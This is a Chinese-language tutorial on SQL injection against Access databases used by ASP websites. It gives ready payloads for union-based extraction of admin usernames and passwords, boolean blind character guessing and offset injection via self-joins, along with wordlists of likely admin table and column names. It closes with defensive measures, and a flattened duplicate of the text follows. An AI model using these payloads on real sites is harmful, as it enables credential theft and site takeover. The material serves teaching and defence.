SQL注入之Access数据库
字数 965 2025-08-13 21:33:22

Access数据库SQL注入全面指南

1. Access数据库简介

Access数据库是一种小型关系型数据库,常用于小型网站数据存储。其特点包括:

  • 单一数据库文件(通常为.mdb或.accdb格式)
  • 结构简单:包含表、列和数据
  • 无information_schema等系统表
  • 常与ASP网站搭配使用

2. SQL注入攻击整体思路

  1. 判断数据库类型:通过报错信息或常见组合判断

    • 常见组合:MySQL+PHP、MSSQL+ASPX、Oracle+JSP、Access+ASP
  2. 寻找注入点

    • 更改请求方式(GET/POST)
    • 修改请求参数(Cookie/Referer/User-Agent等)
    • 使用测试字符:单引号、百分号等
  3. 判断参数类型

    • 数字型:id=3-1返回与id=2相同
    • 字符型:id=3'导致报错
    • 搜索型:使用%测试
  4. 选择注入方式

    • 联合注入(已知表名列名)
    • 逐字猜解(布尔盲注)
    • 偏移注入(仅知表名)
  5. 数据获取

    • 获取敏感数据(用户名/密码)
    • 登录后台或写入webshell

3. 联合注入攻击详解

3.1 判断注入点

?id=3'              # 返回页面不同,存在注入
?id=3-1             # 返回正常界面,存在注入
?id=3 and 1=2       # 返回与and 1=1不同,存在注入

3.2 判断字段数

?id=3 order by 1    # 测试开始
?id=3 order by 10   # 返回错误,说明字段数=9

3.3 联合查询构造

-1 union select 1,username,password,4,5,6,7,8,9,10 from admin

3.4 常见表名和列名

常见表名

admin, a_admin, x_admin, m_admin, adminuser, admin_user, 
article_admin, administrator, manage, manager, member, 
memberlist, user, users, Manage_User, user_info, 
admin_userinfo, UserGroups, user_list, login, 用户, 
Friend, zl, movie, news, password, clubconfig, config, 
company, book, art, dv_admin, userinfo

常见列名

username, adminusername, admin_username, adminname, 
admin_name, admin, adminuser, admin_user, usrname, 
usr_name, user_admin, password, admin_password, 
administrator, administrators, adminpassword, 
adminpwd, admin_pwd, adminpass, admin_pass, usrpass, 
usr_pass, user, name, pass, userpass, user_pass, 
userpassword, user_password, pwd, userpwd, user_pwd, 
useradmin, pword, p_word, pass-wd, yonghu, 用户, 
用户名, 密码, 帐号, id, uid, userid, user_id, 
adminid, admin_id, login_name

4. 逐字猜解攻击(布尔盲注)

4.1 判断表名

?id=843 and exists(select * from admin)  # 返回正常则表名正确

4.2 猜解列名

?id=843 and exists(select admin_name from admin)  # 返回正常则列名存在

4.3 判断字段长度

?id=834 and (select top 1 len(admin_name) from admin) = 7

4.4 逐字符获取数据

?id=834 and (select top 1 asc(mid(admin_name,1,1)) from admin)=114

5. 偏移注入攻击

5.1 前提条件

  • 已知表名
  • 知道一个或多个字段名

5.2 判断字段数

?id=834 order by 16  # 正常
?id=834 order by 17  # 报错  字段数=16

5.3 寻找偏移字段

?id=834 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin  # 回显正常则偏移字段=5

5.4 计算所需字段数

所需字段数 = 总字段数 - 2×偏移字段数
本例:16 - 2×5 = 6

5.5 构造payload

?id=834 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_id=b.admin_id)

5.6 多级偏移注入

一级偏移

union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)

二级偏移

union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.admin_name=b.admin_name) inner join admin as c on a.admin_name=c.admin_name)

6. 防护措施

  1. 数据库配置

    • 更改默认数据库存储路径
    • 使用难以猜解的数据名
  2. 输入过滤

    • 黑白名单过滤特殊字符和SQL关键字
    • 过滤:union, select, from, order, ', *
  3. 安全防护

    • 安装WAF(Web应用防火墙)
    • 使用参数化查询
  4. 其他措施

    • 最小权限原则
    • 错误信息处理(不显示详细错误)

7. 总结

Access数据库注入技术虽然随着该数据库的淘汰而逐渐减少使用,但其原理和方法对于理解SQL注入攻击的本质仍有重要价值。掌握这些技术有助于更好地防御各类SQL注入攻击,提升Web应用安全性。

Access数据库SQL注入全面指南 1. Access数据库简介 Access数据库是一种小型关系型数据库,常用于小型网站数据存储。其特点包括: 单一数据库文件(通常为.mdb或.accdb格式) 结构简单:包含表、列和数据 无information_ schema等系统表 常与ASP网站搭配使用 2. SQL注入攻击整体思路 判断数据库类型 :通过报错信息或常见组合判断 常见组合:MySQL+PHP、MSSQL+ASPX、Oracle+JSP、Access+ASP 寻找注入点 : 更改请求方式(GET/POST) 修改请求参数(Cookie/Referer/User-Agent等) 使用测试字符:单引号、百分号等 判断参数类型 : 数字型: id=3-1 返回与 id=2 相同 字符型: id=3' 导致报错 搜索型:使用 % 测试 选择注入方式 : 联合注入(已知表名列名) 逐字猜解(布尔盲注) 偏移注入(仅知表名) 数据获取 : 获取敏感数据(用户名/密码) 登录后台或写入webshell 3. 联合注入攻击详解 3.1 判断注入点 3.2 判断字段数 3.3 联合查询构造 3.4 常见表名和列名 常见表名 : 常见列名 : 4. 逐字猜解攻击(布尔盲注) 4.1 判断表名 4.2 猜解列名 4.3 判断字段长度 4.4 逐字符获取数据 5. 偏移注入攻击 5.1 前提条件 已知表名 知道一个或多个字段名 5.2 判断字段数 5.3 寻找偏移字段 5.4 计算所需字段数 5.5 构造payload 5.6 多级偏移注入 一级偏移 : 二级偏移 : 6. 防护措施 数据库配置 : 更改默认数据库存储路径 使用难以猜解的数据名 输入过滤 : 黑白名单过滤特殊字符和SQL关键字 过滤: union , select , from , order , ' , * 等 安全防护 : 安装WAF(Web应用防火墙) 使用参数化查询 其他措施 : 最小权限原则 错误信息处理(不显示详细错误) 7. 总结 Access数据库注入技术虽然随着该数据库的淘汰而逐渐减少使用,但其原理和方法对于理解SQL注入攻击的本质仍有重要价值。掌握这些技术有助于更好地防御各类SQL注入攻击,提升Web应用安全性。